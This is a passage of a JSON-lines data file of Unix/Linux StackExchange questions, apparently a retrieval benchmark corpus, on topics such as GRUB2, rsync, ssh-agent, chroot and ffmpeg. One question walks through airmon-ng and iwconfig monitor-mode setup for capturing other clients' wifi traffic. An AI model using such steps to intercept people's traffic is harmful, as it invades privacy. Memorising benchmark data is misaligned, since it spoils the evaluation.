"text": "I can use ulimit but I think that only affects my shell session. I want the limit increased for all processes. This is on Red Hat."} {"_id": "54957", "title": "What is the difference between .ini and .conf?", "text": "As mentioned, what is the difference? or is there any concern to use them?"} {"_id": "8947", "title": "Windows Domain Server on FreeBSD", "text": "Is it possible (and if it is, could you point me in the proper direction) to set up a Windows Domain server (active directory and all that stuff) on a FreeBSD machine? I do understand that I need to use Samba (but not sure whether Samba 3 will be enough or should I go with the Samba 4 alpha versions). As I don't know much about Windows domains, I'm not sure whether I need to set up a DNS service on the network. In the end, I need to set up (as a CS project) a virtual FreeBSD machine that will serve Windows domain/active directory services for virtual machines running Windows. With all the nice stuff like single-login, settings, network directories and stuff. I know it's a pretty general question, but after doing my research I was left pretty much confused - Samba 4 is a advertised as a rewrite of Samba 3, with support for AD, being primary domain controller and many other features. It sounds as if Samba 3 didn't have all that. So, is it possible? What should I use? Any other tips for me?"} {"_id": "21721", "title": "What is the best method to get GNOME 2 in Arch Linux?", "text": "I love Arch Linux, and I love Gnome 2, but it's no longer available, since now Gnome 3 is the default version. I've seen MATE, which is a Gnome 2 Fork, and I've also seen that you can \"rollback\" your packages in Arch, so you can reinstall GNOME 2. Which of these works better?"} {"_id": "21723", "title": "How do I highlight a search result in tmux?", "text": "When I search a terminal window in tmux, it sets the cursor the keyword search, but doesn't highlight the matching word. Screen used to do this, and it was much easier to visually find a match. Thanks!"} {"_id": "21725", "title": "Find out global zone Name once you logged into a NON global zone", "text": "I understand in Unix Oracle-Solaris OS the `zoneadm list` command will easily show all the available zones. But if I am logged into a non global zone there is no easy way to get information about the global zone. I see the `arp` command can be of some help because it will return the NIC mac address. Then with the NIC mac address I can `arp` again to get all the machine name associated with that (NIC) mac address. This process sounds kind of intricate to me. Is there any better way to get that info?"} {"_id": "48364", "title": "Sharing Variables across sub shell scripts", "text": "I have a Main shell that runs a profile, The profile contains some variables such as Count. When I call the main shell, it loads the profile and then call another shell script. I want that inner shell script be able to access the variable count that the main shell script loaded already. How can I do that ? I tried export but only helped in one level variable import."} {"_id": "48365", "title": "Closing socket connection on running console application", "text": "I am testing a chat bot and want to gracefully handle for times when the chat server isn't running so it can come back up when the service is available again. I have the programming handled. My question is how to test this when the downtimes are not reliable. Someone suggested \"Terminate the socket connection manually\". How would I do this? This is a console node.js running on Mountain Lion. Can I sever a connection to a server from a single application?"} {"_id": "48360", "title": "Is it possible to make KDE 4 look like Win98?", "text": "I found settings which make windows look like in Win98, but cannot change taskbar colors and sizes. Default colors are breaking my eyes. Please, write instructions how to change taskbar and other components which significantly lower usability. Version of KDE is 4.8 and newer. EDIT: After applying Aya theme as xenoterracide suggested, taskbar looks as this: ![Aya taskbar](http://i.stack.imgur.com/k2ggx.jpg). Is it a bug or colors indeed so crazy?"} {"_id": "62866", "title": "How can I prevent edited commands from overwriting the original? Or revert edits?", "text": "Often I'll execute a command in bash, press the up arrow to retrieve it from history, edit it, and execute the edit. However, sometimes I'll decide to discard the edit and run a different command or something. This poses a problem because the edited command, which I didn't run, gets saved over top of the original history entry so I can no longer run the original with ease. For example, here's the end of my current history: 2132* svn cleanup && svn up --set-de 2133 history The first command was originally `svn cleanup && svn up --set-depth=infinity folder1 folder2`. Is there a way to disable overwrites or revert them to the original commands?"} {"_id": "62864", "title": "OpenSSH - map aliases in ~/.ssh/config to IP addresses in command line", "text": "Is it possible to query ~/.ssh/config in the command line? Let's say I would like to retrieve what IP address does the particular alias point to in a separate program, is it possible?"} {"_id": "62863", "title": "Separating a file with embedded header records into two files", "text": "I would like to separate the following example text file into two separate files based on the embedded header record using a unix script: CSI 447907 890947967201270 776666666 B 771555555 B 774444444 B REL 447904 890947967201270 772222222 A 771111111 B+ 770000000 A CSI 447911 891096722201270 774444444 B+ 778888888 A 779999999 A REL 171077 889928722201270 774444444 B 773333333 B+ 772222222 B+ 771111111 C PHY 114926 891987278201270 123456789 A 987654321 A 777777777 B+ The result files: Text file 1 CSI 447907 890947967201270 776666666 B 771555555 B 774444444 B CSI 447911 891096722201270 774444444 B+ 778888888 A 779999999 A Text file 2 REL 447904 890947967201270 772222222 A 771111111 B+ 770000000 A REL 171077 889928722201270 774444444 B 773333333 B+ 772222222 B+ 771111111 C PHY 114926 891987278201270 123456789 A 987654321 A 777777777 B+ The number of header records can vary as well as the number of the detail records. The columns/fields are static. The first text file contains the CSI headers and corresponding detail records while the second is what is left over."} {"_id": "48369", "title": "Output redirection and spaces", "text": "I'm paranoid about this, but hopefully it's a simple question: Is there any difference between cat file1 | egrep -oP \"[Mm]y string\" > /home/user/file.txt and cat file1|egrep -oP \"[Mm]y string\">/home/user/file.txt i.e., does it matter if I have spaces padding the pipe (|) and redirection (>) characters? I'm really paranoid that having spaces there the spaces will somehow end up in the output file when I don't want that. Can anyone clarify? (Using Ubuntu 12/bash if that matters.)"} {"_id": "62861", "title": "How to figure out GRUB2's menu output", "text": "I have just updated a remote machine which is running Ubuntu Server 12.04. I have only access through SSH and now it's asking for a reboot. I'm guessing a new kernel was installed. I need to make it boot in a very specific kernel, otherwise it will just hang. Is there any way to check (from the command line, since I am connecting through SSH) what GRUB2 is going to do on the next reboot? I mainly need to make sure that: 1. The machine is going to boot on the right kernel (Which now may have been moved into the \"`Previous Linux Versions`\" submenu) 2. The GRUB2 menu is going to \"obey\" my timeout request (in some occasions I found machines that would just get stuck with the GRUB2 boot menu, despite of having a `GRUB_TIMEOUT` parameter specified in `/etc/default/grub`) So is there any way to \"simulate\" or diagnose what GRUB2 is going to do on the next reboot? Some way to check things like \" _It is going to boot kernel yaddayaddayadda and it has a timeout activated of yadda seconds_ \" I know it's a long shot, but maybe there is something like a diagnose tool (which is going to have to be command line... I don't even have X-Windows on the computer I'm connecting to) Thank you in advance!"} {"_id": "62860", "title": "Modifying $HOME variable on a session startup script: Gnome ignores it?", "text": "I'm modifying the `$HOME` variable on a `/etc/profile.d` script. This seems to be OK for console sessions. There are some caveats on graphical sessions, though: Gnome won't load my desktop configuration, it will still use the HOME defined on the `passwd`. Bizarre enough, If I open a terminal, the `$HOME` variable is the one defined by me on the `/etc/profile.d` script. I'm doing this because I'm rsyncing the home against a NFS server, and I want to provide an alternative login method by mounting the NFS home directly, for occasional logins. Since at this stage root has already created the home directory, my plan is to link the NFS mount inside it, and modify the `$HOME` variable."} {"_id": "26971", "title": "SVN checkout under a different user name", "text": "When I ssh into my server I log in under root or my user on the system. However, when I checkout from my svn repos then are then owned by either root or my user, and therefore all files deployed to my server come up with a 500 error on the server with the message \"UID of script is less than MIN_UID\". When I FTP files to the server they are owned by user \"Sites\" so is there any way I can log in under root or my user and checkout files that are owned by \"Sites\". What I don't really want to have to do is to have to manually `chown` all the files every time I checkout or update. I'd like it to happen automatically (or have to do it just the once on checkout). Is there any way to do this?"} {"_id": "26973", "title": "Keyboard repeat without pressing a key", "text": "Occasionally a key repeats although I do not press the key. I would like to prevent this phenomenon. The phenomenon happens when I am pressing Ctrl+w again and again. After several times of Ctrl+w, w is inserted repeatedly without pressing any key. I have checked that this happens on several applications: firefox, konqueror, KWrite, emacs23. The same phenomenon happens with Ctrl+s. (I have not check other keybinds, because the phenomenon does not often happen.) Pressing any key stops this phenomena. If I disable the keyboard repeat by configuring System Settings for KDE, then the phenomenon seems not to happen. But I do not want to do. Could anyone possibly tell me how to prevent this unexpected phenomenon? My PC is Dell Dell Latitude E6220. I am working with KDE 4.6.4 on Vine Linux. I have swapped Ctrl and Caps Lock. If more information is needed, let me know."} {"_id": "26975", "title": "How to clear terminal completely?", "text": "When we use `clear` command or `Ctrl`+`L` in terminal, it clears terminal but we can still scroll back to view the last used commands. Is there a way to completely clear the terminal?"} {"_id": "49946", "title": "is it possible to run job in foreground after user logout", "text": "I have some job to run which need be attached to terminal (or in foreground). The job is run in remote servers, and needs keep running after the users logout. I am aware of vnc server, however, I want to know if there is any builtin tool in `redhat` that can work this out. (that is, I dont have sudo to install extra software)."} {"_id": "49945", "title": "Monitor mode wifi only seeing broadcast packets", "text": "I have pretty much exhausted every link I have found on google regarding this topic, and I'd like some of the most experienced eyes on the problem, because something obscure must be going on. # Systems tested on: * VirtualBox 4.1.22 VM: Ubuntu 12.10 x64 * VirtualBox 4.1.22 VM: Ubuntu 10.04 x64 * VirtualBox 4.1.22 VM: Backtrack 5 r2 * VirtualBox 4.1.22 VM: Backtrack 5 r3 * Lenovo W530 laptop running Backtrack 5 r2 # Interface: Alfa AWUS036H - FCC ID UQ2AWUS036H (you can verify RTL8187L chipset at http://transition.fcc.gov/oet/ea/fccid/. Enter grantee code: UQ2, product code: AWUS036H, then clicking \"detail\" and then \"internal photos\"). # Problem description The problem is that while I'm running wlan0 in monitor mode, I only see broadcast packets (I see ARPs, DHCP transactions, beacons, and other random management and data packets that are being broadcast or multicast). This is the case in kismet, wireshark 1.2.x, 1.4.x, and 1.8.x, and my own packet reader program that uses libpcap. The clients that I have set up running pings and http traffic are connected to an open wireless g network. The computer I am sniffing from is not connected to any network. # Procedure I have tested more configurations than I can list, but I'll try to give a good idea of what I've done. The USB wireless card I listed (Alfa AWUS036H) is using the rtl8187 driver. Relevant commands and their outputs are listed below: # lsusb Bus 001 Device 009: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter Bus 001 Device 007: ID 80ee:0021 Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub # lsmod|grep 80211 mac80211 238928 1 rtl8187 cfg80211 148725 2 rtl8187,mac80211 I've made sure the wireless card is on channel 6, the same channel my open network is on. I have tried both putting wlan0 into monitor mode manually using: # ifconfig wlan0 down # iwconfig wlan0 mode monitor # iwconfig wlan0 channel 6 # ifconfig wlan0 up And also using airmon-ng to create a mon0 device: # airmon-ng start wlan0 6 Interface Chipset Driver wlan0 RTL8187 rtl8187 - [phy5] (monitor mode enabled on mon0) When using iwconfig, I can verify wlan0 is in monitor mode: wlan0 IEEE 802.11bg Mode:Monitor Frequency:2.437 GHz Tx-Power=27 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:off When I use iwconfig to put the card into monitor mode manually, I use the interface wlan0 in wireshark and kismet. When using airmon-ng to create a mon0 interface that is in monitor mode, I use mon0. In both cases, I get the same result: kismet and wireshark will see all the broadcast packets from the APs around me, but never any ICMP or HTTP traffic I'm creating from other clients in order to test. I am not associated or authenticated to any AP. I did this a few months ago at a workshop and it worked great; we saw tons of HTTP traffic flying around. For most of the same type of questions I've seen asked elsewhere, the problem had to do with the person being associated to a network or that they were on an encrypted network and weren't entering the key properly. I cannot find any issue with the setup or the device. Any ideas? Thanks for any help."} {"_id": "49943", "title": "syndaemon -t option not working on HP dm4 running Ubuntu 12.04", "text": "I'm running `syndaemon -i 2.0 -K -R -t` but the touchpad still allows clicking while typing. On the other hand, I know that syndaemon is working correctly because I can run `syndaemon -i 2.0 -K -R` and that works well enough."} {"_id": "9853", "title": "Restricting an SSH/SCP/SFTP user to a directory", "text": "Is there a simple way to restrict an SCP/SFTP user to a directory? All methods that I've come across require me to set a chroot jail up by copying binaries, but I don't think that should be necessary."} {"_id": "87442", "title": "Create user who can only access one directory", "text": "I would like to create a user that only has access to one folder and nothing else whatsoever. I have already created a user but he has access to other parts of the system according to corresponding file settings. I don't want him to have that, I want him only to have access to one folder and nothing else. Everything else should preferably be just invisible to him. Is it possible to create such a user,and if so, how do I go about doing that? p.s. Removing 'other' privileges of other users home directory goes a bit of the way towards this end. But this limited user still has access to all the base directories like /etc and such. And he can still see other users home directory, even though he cant access them."} {"_id": "115509", "title": "How to allow user to only rsync/download only one directory through SSH", "text": "What I want to do is to give to user a simple script to run, that will sync some directory from my VPS to their machine, authentication would be done by using pubkey, and I would like to have control on what dirs what users can download. I know I can achieve that by using simply FTP, but it's not secure and I would rather rely on pubkey authentication rather than passwords, so I would like to use SSH. However I don't want to allow user to do anything more in shell than syncing that one specific directory. How to achieve that?"} {"_id": "152042", "title": "Is there any way to read lines from command output?", "text": "I have a pre process command to output a file ./preprocess.sh > preprocessed_file and the `preprocessed_file` will be used like this while read line do ./research.sh $line & done < preprocessed_file rm -f preprocessed_file Is there any way to direct the output to the `while read line` part instead of outputting to the preprocessed_file? I think there should be a better way other than using this temp `preprocessed_file`."} {"_id": "107861", "title": "How to output to screen overriding redirection", "text": "Is it possible, within a shell script, to write to the screen while STDOUT and STDERR is being redirected? I have a shell script that I want to capture STDOUT and STDERR. The script will run for perhaps an hour or more, so I want to occasionally write some status messages to the screen that will be displayed and not redirected (not captured). For a minimal example, I have a shell script, let's say \"./myscript.sh\": #!/bin/sh -u echo \"Message A: This writes to STDOUT or wherever '1>' redirects to.\" echo \"Message B: This writes to STDOUT or wherever '1>' redirects to.\">&1 echo \"Message C: This writes to STDERR or wherever '2>' redirects to.\">/dev/stderr echo \"Message D: This writes to STDERR or wherever '2>' redirects to.\">&2 echo \"Message E: Write this to 'screen' regardless of (overriding) redirection.\" #>??? Then, for example, I'd like to see this output when I run the script like this: [~]# ./myscript.sh > fileout 2> filerr Message E: Write this to 'screen' regardless of (overriding) redirection. [~]# ./myscript.sh > /dev/null 2>&1 Message E: Write this to 'screen' regardless of (overriding) redirection. [~]# If this cannot be done \"directly\", is it possible to temporarily discontinue redirection, then print something to the screen, then restore redirection as it was? Some info about the computer: [~]# uname -srvmpio Linux 3.2.45 #4 SMP Wed May 15 19:43:53 CDT 2013 x86_64 x86_64 x86_64 GNU/Linux [~]# ls -l /bin/sh /dev/stdout /dev/stderr lrwxrwxrwx 1 root root 4 Jul 18 23:18 /bin/sh -> bash lrwxrwxrwx 1 root root 15 Jun 29 2013 /dev/stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 Jun 29 2013 /dev/stdout -> /proc/self/fd/1"} {"_id": "152041", "title": "Explain a tsums command line", "text": "In putty, I am blindly writing codes as below, cat >! lot tsums @lot -format=lot,machine_id > ! MCID what is the meaning of these 2 lines?"} {"_id": "152046", "title": "DNS local area vs DNS Virtualbox", "text": "I have been trying to set up a DNS server on my system using Linux and bind. (I'm working with CentOS and Linux on my Windows 7) On my Linux everything seemed to work:I can access my server and ping/nslookup/etc to the requested webpage on my created Linux server. But on windows I'm unable to ping to my webpage hosted on my Linux server: > Pinq request could not find host mmore.be Please check the name and try > again. When I ask for `ipconfig -all` I realised that on my local area connection I got 3 DNS servers but I only need to access the 192.168.0.198... What are these 2a02:1800:100::44:1 and 2a02:1800:100::44:2 doing? Are they causing that I'm unable to ping to my webpage hosted on my linux? If yes: can I remove or shut down these 2 DNS servers? ![My DNS for local and Virtualbox connection](http://i.stack.imgur.com/hVpHj.jpg)"} {"_id": "76305", "title": "Install postgresql 9.2 on debian wheezy (on virtualbox)", "text": "I have virtualbox with Debian Wheezy. I'm trying to install Postgresql 9.2 on it. When I trying do it by this instruction i have next: Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: postgresql-9.2 : Depends: postgresql-common (>= 135~) but it is not going to be installed Depends: ssl-cert but it is not installable E: Unable to correct problems, you have held broken packages. When I try to install postgresql-common: apt-get install postgresql-common I got next: Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: postgresql-common : Depends: ssl-cert (>= 1.0.11) but it is not installable E: Unable to correct problems, you have held broken packages When I try to install ssl-cert: apt-get install ssl-cert I got next: Reading package lists... Done Building dependency tree Reading state information... Done Package ssl-cert is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source E: Package 'ssl-cert' has no installation candidate I'm novice in Linux, please help me install Postgresql 9.2 There is my `sources.list` # # deb cdrom:[Debian GNU/Linux 7.0.0 _Wheezy_ - Official i386 CD Binary-1 201305$ deb cdrom:[Debian GNU/Linux 7.0.0 _Wheezy_ - Official i386 CD Binary-1 20130504$ deb http://security.debian.org/ wheezy/updates main deb-src http://security.debian.org/ wheezy/updates main # wheezy-updates, previously known as 'volatile' # A network mirror was not selected during install. The following entries # are provided as examples, but you should amend them as appropriate # for your mirror of choice. # # deb http://ftp.debian.org/debian/ wheezy-updates main # deb-src http://ftp.debian.org/debian/ wheezy-updates main"} {"_id": "58189", "title": "split long line on a delimiter", "text": "What command can I use to split input like this: foo:bar:baz:quux into this? foo bar baz quux I'm trying to figure out the `cut` command but it seems to only work with fixed amounts of input, like \"first 1000 characters\" or \"first 7 fields\". I need to work with arbitrarily long input."} {"_id": "68770", "title": "Converting PNG frames to video at 1 FPS", "text": "I have video frames in PNG format at 1 FPS and I'm trying to convert them into a video using ffmpeg. If I do something like this: `ffmpeg -i data/input-%4d.png data/output.mp4` I get a video at 25FPS which is basically a very fast-forward of the input (which is captured at 1FPS). If I try: `ffmpeg -i data/input-%4d.png -r 1 data/output.mp4` I get something that VLC doesn't want to play :) Now, if I take the first video (the FF one) and apply a filter to slow it down (e.g. `-filter:v 'setpts=24.0*PTS'`), I can get it to play like a 1 FPS video, but of course the price is file size. It's generating a bunch of repeated frames I guess. So, the question is how do I create a video that has exactly 1 FPS and actually plays at that speed? The output format, btw, isn't that important for me."} {"_id": "4462", "title": "Pacman/Arch: Install package(s) without really installing them", "text": "> **Possible Duplicate:** > Make package explicitly installed in pacman So I've been stupid and removed my /var/lib/pacman/local dir. Without backup, but with a root shell open at tty4. O yeah, pacman -Sf with the base repo also overwrites your /etc/passwd. Thank god for .pacorig. I still have my pacman logs, but all the packages are already installed. Pacman outputs errors that the files already exist. How can I install packages without modifying files? (pacman -S --fake --noextract) I've also tried the -D switch but that only works for installed packages."} {"_id": "1992", "title": "Script for ssh Agent Management: Is this adequate? Any bugs?", "text": "The following is something I use to manage my ssh agent settings. #!/bin/echo \"Must source this:\" ## Ensure that ~/.ssh/env contains valid values unset SSH_AGENT_PID SSH_ENV_REFRESH [ -r ~/.ssh/env ] && . ~/.ssh/env [ -n \"$SSH_AGENT_PID\" ] || { # No env file (or it's badly corrupted: eval $(ssh-agent &>/dev/null) &> /dev/null SSH_ENV_REFRESH=1 } # Ping the agent process: kill -0 \"$SSH_AGENT_PID\" >& /dev/null || { # No process, so start a new one: eval $(ssh-agent &>/dev/null) &> /dev/null SSH_ENV_REFRESH=1 } ssh-add -l &> /dev/null [ \"$?\" -gt 1 ] && { # Process alive but unable to be contacted # for some reason (wedged/defunct process, # or damaged/corrupt UNIX domain socket node?) # So kill it: kill \"$SSH_AGENT_PID\" >& /dev/null # ... with extreme prejudice if necessary: kill -0 \"$SSH_AGENT_PID\" >& /dev/null \\ || kill kill -9 \"$SSH_AGENT_PID\" >& /dev/null # ... and start a new one eval $(ssh-agent &>/dev/null) &> /dev/null SSH_ENV_REFRESH=1 } [ -z \"$SSH_ENV_REFRESH\" ] || { # Over-write old env file: printenv | grep \"^SSH_A\" > ~/.ssh/env # Append export command: echo \"export SSH_AGENT_PID SSH_AUTH_SOCK\" >> ~/.ssh/env # Load the (null-passphrase) identites into the agent: ssh-add < /dev/null &> /dev/null } It's intended to be sourced (`. ~/lib/sshagent.sh`) from _~/.bashrc_ or other login or shell start-up files ... or even cron jobs. It works for me but I'm hoping folks here will review it and offer suggestions about any corner cases that I'm missing. I used to only run it from ~/.bash_login ... but then I'd find that, in some cases, my shells wouldn't pick up the settings (X display manager and I think remote ssh non-login sessions ... cases where ssh is called with a command). In some other cases the old settings would persist and not updated when an agent process was restarted (for whatever reason). So I run it in _~/.bashrc_ and try to avoid any stray output ... as is recommended for _~/.bashrc_ in general. So, are there any evident corner cases or bugs? Would this make sense for something like _/etc/bashrc_? Is it reasonably portable to other shells?"} {"_id": "68775", "title": "rsync timed out", "text": "I need to sync a directory to a directory on a remote server. at the moment i use `rsync -ca` to do this but the directory is quite large and the whole process fails with a timeout error. Now i'm looking for a file by file sync instead of a 'all at once' approach. like 'find' and for each found rsync to the server. What would be the most easy way to do this ? I get the following error : receiving incremental file list Write failed: Broken pipe rsync: connection unexpectedly closed (1175057 bytes received so far) [receiver] rsync error: error in rsync protocol data stream (code 12) at io.c(601)[receiver=3.0.7] rsync: connection unexpectedly closed (287 bytes received so far) [generator] rsync error: unexplained error (code 255) at io.c(601) [generator=3.0.7]"} {"_id": "68777", "title": "Mouse and keyboard not working in FreeBSD 9.0", "text": "Could not use keyboard and mouse at KDM log in screen in FreeBSD 9.0 KDE Typed on nano: hald_enable=\"YES\" dbus_enable=\"YES\" local_startup=${local_startup} /usr/local/kde4/etc/rc.d\" kdm4_enable=\"YES\" after saving I reboot and log in screen appears but mouse and keyboard not enabled."} {"_id": "1996", "title": "Scheduling commands by system inactivity", "text": "So `cron` or `at` can schedule our commands to run at the exact time we need them to, but can we schedule commands to run when systems are **inactive**? Something like: echo \"some_commands\" | when 'cpu < 15%'"} {"_id": "68779", "title": "removing folders with find - strange message", "text": "mkdir foodir find . -iname foodir -exec rm -fr {} \\; It does the job, but barfs message: find: `./foodir': No such file or directory"} {"_id": "58182", "title": "What does the term static variable mean in unix speak?", "text": "From the section 2.7 of the book - The Linux programing Interface named **Process memory layout** : _Data_ is defined as the static variables used by the program. What is the significance of the word static here ? I am aware of what static variables are in Java but I can not relate that meaning in this context ."} {"_id": "58186", "title": "Concept of controlling terminal in Unix", "text": "Can some one please explain in an easy to understand way the concept of controlling terminal in unix and unix like systems ? Is it related to a session ? If yes, then how ?"} {"_id": "59854", "title": "Discover MTU between me and destination IP", "text": "In a case I can use only `UDP` and `ICMP` protocols, how can I discover, in bytes, the path MTU for packet transfer from my computer to a destination IP?"} {"_id": "59855", "title": "How does CPU frequency work in conky?", "text": "I'm setting up conky and I would like to add the CPU frequency, but if I put ${freq_g cpu0} Ghz I get 1.2Ghz. Why is that? My CPU is 2.8Ghz."} {"_id": "45062", "title": "Replace require statements by autoload in .emacs file to improve performance", "text": "According to these posts: * How can I make emacs start-up faster * a-nickels-worth.blogspot.de/effective emacs one can somehow replace `require` and `load` statements in the `.emacs` file to speed up the emacs start. However I don't know how to do this in detail. For example I have (among other things) in my .emacs file the following `require` and `load` statements: (load \"auctex.el\" nil t t) (require 'alarm) (require 'linked) (load \"nxhtml/autostart.el\") (require 'autoinsert) (require 'recentf) (require 'color-theme) (load \"~/.emacsaddons/emacs-color-theme-solarized/color-theme-solarized\") ... For `alarm` and `linked` there are corresponding files in a directory called `.emacsaddons`, for `nxhtml` there is a directory, for the others there are no corresponding files in `.emacsaddons`. I didn't include all `require` or `load` statements from my `.emacs` file in the example above, just a few where I feel that the steps for replacing them with `autoload` will differ between them (for example because some have `el` files unter `.emacsaddons` and some doesn't, or because `nxhtml` is a subdir of `.emacsaddons`...). How are the detailed steps to replace everything by `autoload` functionality for improving the performance?"} {"_id": "48091", "title": "cpufreqd does not control temperature plus shows no output", "text": "Since my laptop (an Acer Aspire 5750G running a Gentoo Linux with a not-quite- up-to-date kernel 2.6.39-r3 (a weird wLan hardware makes the update difficult)) tends to run rather hot I am trying to control the situation by employing the service cpufreqd. cpufrequtils are present and active. acpi -t returns nothing. However, lm-sensors are installed and look happy: Ulyss etc # sensors coretemp-isa-0000 Adapter: ISA adapter Core 0: +64.0 C (high = +86.0 C, crit = +100.0 C) coretemp-isa-0002 Adapter: ISA adapter Core 1: +64.0 C (high = +86.0 C, crit = +100.0 C) ... sensors -u yields Ulyss etc # sensors -u coretemp-isa-0000 Adapter: ISA adapter Core 0: temp1_input: 63.000 temp1_max: 86.000 temp1_crit: 100.000 temp1_crit_alarm: 0.000 coretemp-isa-0002 Adapter: ISA adapter Core 1: temp1_input: 63.000 temp1_max: 86.000 temp1_crit: 100.000 temp1_crit_alarm: 0.000 ... Reading several sources on the net and last not least man cpufreqd.conf I created /etc/sensors.d/cores.inf chip \"coretemp-isa-0000\" label temp1 \"Core 0\" chip \"coretemp-isa-0002\" label temp1 \"Core 1\" ... and in /etc/cpufreqd.conf modified the general block into [General] pidfile=/var/run/cpufreqd.pid poll_interval=2 verbosity=7 # Was at 4 enable_remote=1 # Was commented out remote_group=root # Was commented out [/General] and activated [sensors_plugin] sensors_conf=/etc/sensors.d/cores.conf [/sensors_plugin] and defined [Rule] name=CPU Too Hot sensor=temp1:60-200 cpu_interval=50-100 profile=Performance Low [/Rule] All this done I checked that all sensors read more then 60 degree C, restarted cpufreqd and checked Ulyss etc # cpufreq-info -p 2001000 2001000 performance which still may be correct due to the possible fact that other rules are stronger (btw: Is there some way to introduce weights? Maybe by repeating some lines in the rule?). So I try to get some information calling cpufreqd directly in its most verbose mode: cpufreqd -V7 which yields no output even when specifiying -f /etc/cpufreqd.conf as well. I have a hunch that there may be some trouble in lacking modules. Hence: Ulyss sensors.d # lsmod Module Size Used by fuse 56971 1 cpufreq_ondemand 5203 0 nvidia 12290458 0 tg3 104688 0 wl 2530575 0 uvcvideo 52523 0 videodev 61049 1 uvcvideo v4l2_compat_ioctl32 7103 1 videodev Another hunch calls for kernel options --- ACPI (Advanced Configuration and Power Interface) Support [*] Deprecated /proc/acpi files [ ] Deprecated power /proc/acpi directories M ACPI 4.0 power meter EC read/write access through /sys/kernel/debug/ec [*] Deprecated /proc/acpi/event support * AC Adapter * Battery -*- Button -*- Video * Fan [*] Dock * Processor Processor Aggregator * Thermal Zone -*- NUMA support [ ] Debug Statements M PCI slot detection driver -*- Container and Module Devices (EXPERIMENTAL) M Smart Battery System Hardware Error Device [ ] ACPI Platform Error Interface (APEI) [*] CPU Frequency scaling [ ] Enable CPUfreq debugging CPU frequency translation statistics Default CPUFreq governor (userspace) ---> * 'performance' governor * 'powersave' governor -*- 'userspace' governor for userspace frequency scaling M 'ondemand' cpufreq policy governor * 'conservative' cpufreq governor *** CPUFreq processor drivers *** Processor Clocking Control interface driver * ACPI Processor P-States driver AMD Opteron/Athlon64 PowerNow! Intel Enhanced SpeedStep (deprecated) Intel Pentium 4 clock modulation *** shared options *** So far the situation. Now my questions: Could any of you shed some light on why the cpufreq fails to change to a lower frequency? Or, just as interesting, how I could debug the `/etc/cpufreqd.conf` file?"} {"_id": "59852", "title": "Find out which program is asking for privilege escalation?", "text": "I have a finger print reader on my laptop, and I configured PAM with fprintd, sometimes when it lights up, I want to find out which program is asking for a privilege escalation. Any ideas?"} {"_id": "45067", "title": "rsync server and client issue", "text": "I am new to rsync server so please bear with me. I just configured an rsync server that is hosting the files I would like to replicate to a remote machine. Here is the rsyncd.conf file: max connections = 2 log file = /var/log/rsync.log timeout = 300 [share] comment = share path = /mnt/share read only = no list = yes uid = root gid = root auth users = rsync secrets file = /etc/rsyncd.secrets I create a rsyncd.secrets file which looks like: rsync:password After I start the rsync daemon, I issue the following on the remote machine and I see the module [remoteserver] # rsync rsync://10.0.0.10 share share With the following setup, what command do I need to issue on the remote server (or the rsync server?) to sync \"share\" to the local \"/tmp/share\" for example. Would it be something like this? rsync -rv rsync://rsync@10.0.0.10::share /tmp/share"} {"_id": "45068", "title": "Interesting Secure Copy Behavior", "text": "I'm not entirely sure where to ask this question, so if this is not the right place just let me know and I'll move it. Today I was trying to using recursive scp to copy a directory between two Linux servers and made a typo when referring to the destination server. Instead of transferring the directory to the other machine, it began to transfer the file back into itself. It took a while for me to notice what it was doing since the directory was so large, but then I started seeing the same files popping up again and again on the transfer status until I killed it. It confused me that this was allowed and I have a few questions. I guess my main question I would like to ask you all, though, is if there is ever an instance when a user would need to make a secure copy to himself on the same machine or is it an unnecessary side effect of scp that was just shrugged off? Edit - Sorry guys, here's the actual command `scp -r /path/to/dir SameUser@sameserver:/path/to/dir`"} {"_id": "98844", "title": "Find out if system startup was initiated by rtc alarm", "text": "How can I know if a system startup was initiated by an rtc alarm event in linux? I am writing some scripts that handle sleeping/shutdown of my htpc. I want the machine to sleep after recording has finished but only if the last startup was due to rtc alarm."} {"_id": "48098", "title": "Hard drive writes freezing up Gnome", "text": "I'm currently running Debian 6.0.5 on my white Macbook 2008 (4,1) and have recently noticed that when I download, move, or decompress a file, Gnome freezes up completely for at least 20 seconds. These freezes happen off and on until the file is done downloading. Oddly enough I can still use Compiz to switch between workspaces and move windows, but the windows aren't being redrawn. I did a lot of googling to see if I could find a solution to the problem, but not much turned up for my specific problem. I thought the problem might be related to me using a Seagate Momentus XT, as there seemed to be a lot of problems with that drive and linux in the past. It turns out that I'm using the updated firmware that was supposed to fix the linux problems the drive was having. If anyone has any ideas as to why this is happening and a potential fix to this problem, please let me know. I get this error in the syslog: Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330686] ata3.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x6 Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330695] ata3.00: BMDMA stat 0x6 Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330703] ata3.00: failed command: READ DMA EXT Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330717] ata3.00: cmd 25/00:00:80:64:b4/00:01:2c:00:00/e0 tag 0 dma 131072 in Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330721] res 51/84:60:20:65:b4/84:00:2c:00:00/e0 Emask 0x30 (host bus error) Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330728] ata3.00: status: { DRDY ERR } Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330734] ata3.00: error: { ICRC ABRT } Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.330757] ata3: soft resetting link Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.510690] ata3.00: configured for UDMA/33 Sep 13 16:54:23 Thunder-Pussy kernel: [ 5713.510835] ata3: EH complete"} {"_id": "48099", "title": "Use SSH key authentification with custom user $HOME", "text": "I have some users which have different $HOME directories than `/home/`... The user homes are under `/pkg/home`and 